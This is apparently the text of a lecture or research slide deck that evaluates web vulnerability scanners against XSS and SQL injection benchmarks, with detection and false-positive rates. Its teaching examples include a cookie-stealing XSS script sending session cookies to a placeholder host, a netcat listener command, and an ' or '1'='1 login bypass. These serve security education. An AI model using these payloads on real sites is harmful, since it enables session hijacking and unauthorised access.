Recommendation on Information Security Tools

Problem

Web application vulnerability scanners are not capable of detecting all of the vulnerabilities and attack vectors that exist

Purpose

To analyze the limitations of web application scanners by using benchmark web applications.

Identify scanner weaknesses Recommendation to Improve scanner

detection techniques Reduce false-negatives and false-positives

Web Apps

Big trend: software as a (Web-based) service Online banking, shopping, government, etc. Cloud computing Applications hosted on Web servers Written in a mixture of PHP, Java, Perl, Python,

C, ASP Security is rarely the main concern Poorly written scripts with inadequate input

validation Sensitive data stored in world-readable files

Why Web Security

60% of total attack attempts observed on the Net are against Web applications[SANS]

80% of vulnerabilities discovered are in web apps[SANS]

Independent security audit

Two Side Web Application Design

Web browser (front end) Can be attacked by any website it visits Attacks lead to malware installation (keyloggers,

botnets), document theft, loss of private data Web application (back end) Runs at website Banks, online merchants, blogs, Google Apps, etc. Many potential bugs: XSS, SQL injection, XSRF Attacks lead to stolen credit cards, defaced sites,

etc.

How are Website compromised

SQL Injection Attacks Malicious Advertisements Search Engine Result Redirection Attacks on the backend virtual hosting

companies Cross-site scripting (XSS) attacks Vulnerabilities in the Web server or forum

hosting software (e.g., shell attacks)

Critical Vulnerabilities

OWASP Top 10 Vulnerabilities:

Injection Broken authentication and session management Cross-site scripting Insecure direct object reference Security misconfiguration Sensitive data exposure Missing function level access control Cross-site request forgery Using components with known vulnerabilities: Heartbleed and

Shellshock in action Unvalidated redirects and forwards

XSS

Attacker goal: their code into browser XSS forces a website visitor to execute

malicious code in his/her browser Count for roughly 80% of all documented

security vulnerabilities[OWASP]

XSS Risks XSS abuses render engines or plug-ins Steal browser cookies Steal session info for replay attack Malware or bot installation Redirect or phishing attempt

XSS Example Eve posts the following JavaScript on a

message board: <script language="javascript"> var url =

"http://xyzaddress:5000/index.html?cookie=“+ encodeURI(document.cookie);

</script> Then run a TCP server listening on port 5000

with e.g., nc –l 5000 When Bob views the posted message, his

browser executes the malicious script, and his session cookie is sent to Eve

Simple XSS Code Login as Eve and post the script with a title

(e.g., hot game!) <script language="javascript"> var url =

"http://xyzbank.com:4444/index.html?cookie="; url = url + encodeURI(document.cookie); new Image().src=url; </script> Hi Everyone! Thanks for your cookies! Ssh to that machine (e.g., xyzbank.com) and run nc –l 4444

XSS Detection

A client usually is not supposed to send scripts to servers

If the server receives <SCRIPT>… or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred A sanitized script could look like &ls;SCRIPT&gt;…

Any user input must be preprocessed before it is used inside HTML

SQL Injection

Malicious SQL statements run on a database and thus attack the server XSS can only target other users

SQL Injection Example

Eve accesses Bob’s website; in which he does not validate input on his sign in form Runs a SQL statement like the following: select username, user_password from

minibbtable_users where user_password = md5('johnspassword') and username='johndoe’;

Set username to ' or '1'='1 select username, user_password from

minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’;

SQL Injection Detection

Input validation on any outgoing SQL statements from the web server to the database server Filter

Apostrophes, semicolons, percent symbols, hyphens, underscores, …

Any character that has special meanings must be escaped, .e.g., convert ’ into \’ Only works for string inputs Different databases have different rules for escaping

Check the data type (e.g., make sure it’s an integer)

Defense Approach Web firewall/IDS

ModSecurity for Apache Commercial: SecureSphere from Imperva

Static code analysis Open source: Nikto, w3af, Vega Commercial:

Acutenix Web Vulnerability Scanner N-stalker

Education on good coding HTML encoding on input (server-side) Input validation/filtering

The Tools Port scanner (e.g. Nmap)

Network vulnerability scanner (e.g. Nessus, SAINT, OpenVAS)

Web application security scanner (e.g. Nikto, w3af)

Database security scanner (e.g. Scuba database scanner)

Host based vulnerability scanner (Lynis, ovaldi)

ERP security scanner

Single vulnerability tests (e.g. wpsacn)

Web Application Vulnerability Scanners

Web Application Vulnerability Scanners

Methodology

Controlled benchmark environment: Controlled variables

Web server technologies Independent variables

Number of deliberate vulnerabilities Dependent variables

Observed false positives

Methodology

Black-box and White-box Analysis: Black-box Analysis

Perspective of client-side user Manipulates user supplied input

White-box Analysis Source code is available Verify actual number of vulnerabilities

Black-Box Vulnerability Scanner

Runs the application and monitors its executions.

By providing a variety of malformed input values, the goal is to find cases in which the application misbehaves or crashes.

Limitation of current Black Box Vulnerability Scanners

Often fail to test a substantial fraction of a web application’s logic.

For Example: Filling out complex forms.

How Scanner Works

The followings are the general steps which most of the penetration tools performed

Identify the target Crawling

Identity inputs

Generated fuzzed dataFuzzing

Execute fuzzed data

Monitor for exceptions Analysis

Determine exploitability   Manually done by security experts

About the benchmark

The aim of benchmark is to provide testing environment for vulnerability scanning tools.

The only focus on this benchmarking process is to find detection rate, where as exploitation of each detection is not necessary.

About the benchmark

Each tested tool required to have following features:

The ability to detect both Cross Site Scripting and SQL Injection vulnerabilities.

The ability make multiple requests or scan more than one URLs at once.

The ability to restrict and control the scanning process to internal or external host.

TEST Cases

TEST-I Feature Documentation

TEST-II Attack Surface Coverage Assessment(WIVET)

TEST-III Accuracy Assessment(WAVSEP)

TEST-I Result

Scanner Grabber Zed Attack Proxy

Vega Wapiti W3af

Version V0.1(Romain Gaucher)

(ZAP) v2.3.1 (OWASP)

v1.0 (Subgraph)

v2.3.0(Nicolas Surribas)

v1.6revision 5460aa0377(The W3AF team)

Input Vector Support[15]

GET, POST GET,POST,COOKIE,HEADER,XML,XmlTAG,JSON,Multipart,GWT,ODataID, ODataFilt

GET, POST, Header

GET,POST, Multipart

GET,POST,Cookie,Header,PName, DIR,FILE,PATH

Total number of Input vector support

2 11 3 3 8

TEST-II Result

Grabber

Vega

Wapiti

w3af

Zed Attack Proxy

0 10 20 30 40 50 60 70 80

WIVET Score

WIVET Score

TEST-III Result(SQL Injection)

Grabber OWSAP-ZAP VEGA W3AF Wapiti

% Detection Rate 14 30 58 30 29

% False positive rate 0 30 87 30 40

5

15

25

35

45

55

65

75

85

SQL Injection Vulnerbility Evaluation

Axis Title

TEST-III Result (XSS Injection)

Grabber OWSAP-ZAP VEGA W3AF Wapiti

% Detection Rate 50 98 100 100 32

% False positive rate 14 0 0 0 42

5

15

25

35

45

55

65

75

85

95

XSS Vulnerbility Evaluation

Axis Title

Making Results Useful to Vendors/Buyers

First Step: Input Vector and Scan Barrier Support

Second Step: Crawling and Input Vector Extraction

Final Step: Vulnerability Detection Features and Accuracy

Thank You